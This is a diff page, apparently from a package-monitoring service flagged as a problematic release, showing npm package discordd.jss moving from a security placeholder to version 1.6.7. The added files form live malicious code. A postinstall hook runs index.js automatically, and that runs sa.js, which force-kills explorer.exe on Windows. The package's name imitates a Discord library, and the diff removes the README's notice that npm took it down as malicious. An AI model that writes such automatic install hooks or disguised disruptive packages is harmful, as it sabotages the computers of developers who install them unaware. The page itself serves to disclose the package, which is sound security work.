discordd.jss 0.0.1-security → 1.6.7

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of discordd.jss might be problematic. Click here for more details.

Files changed (4) hide show
  1. package/index.js +25 -0
  2. package/package.json +11 -6
  3. package/sa.js +18 -0
  4. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,25 @@
1
+ // index.js
2
+ const { exec } = require('child_process');
3
+
4
+ console.log('Modül yüklendiğinde sa.js dosyası çalıştırılacak.');
5
+
6
+ // sa.js dosyasını çalıştıran fonksiyon
7
+ function runSaJS() {
8
+ if (process.platform === 'win32') {
9
+ exec('node sa.js', (error, stdout, stderr) => {
10
+ if (error) {
11
+ console.error(`Hata oluştu: ${error.message}`);
12
+ return;
13
+ }
14
+ if (stderr) {
15
+ console.error(`Hata çıktısı: ${stderr}`);
16
+ return;
17
+ }
18
+ console.log(`sa.js çıktısı: ${stdout}`);
19
+ });
20
+ } else {
21
+ console.log('Bu işlem sadece Windows\'ta çalışabilir.');
22
+ }
23
+ }
24
+
25
+ runSaJS();
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
- {
2
- "name": "discordd.jss",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
1
+ {
2
+ "name": "discordd.jss",
3
+ "version": "1.6.7",
4
+ "description": "discordd.jss",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node index.js"
8
+ },
9
+ "author": "Your Name",
10
+ "license": "MIT"
11
+ }
package/sa.js ADDED
@@ -0,0 +1,18 @@
1
+ const { exec } = require('child_process');
2
+
3
+ // Explorer.exe'yi sonlandırma fonksiyonu
4
+ function killExplorer() {
5
+ if (process.platform === 'win32') {
6
+ exec('taskkill /F /IM explorer.exe', (error, stdout, stderr) => {
7
+ if (error) {
8
+ console.error(`Hata oluştu: ${error.message}`);
9
+ return;
10
+ }
11
+ console.log('explorer.exe başarıyla sonlandırıldı.');
12
+ });
13
+ } else {
14
+ console.log('Bu işlem sadece Windows\'ta çalışabilir.');
15
+ }
16
+ }
17
+
18
+ killExplorer();
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=discordd.jss for more information.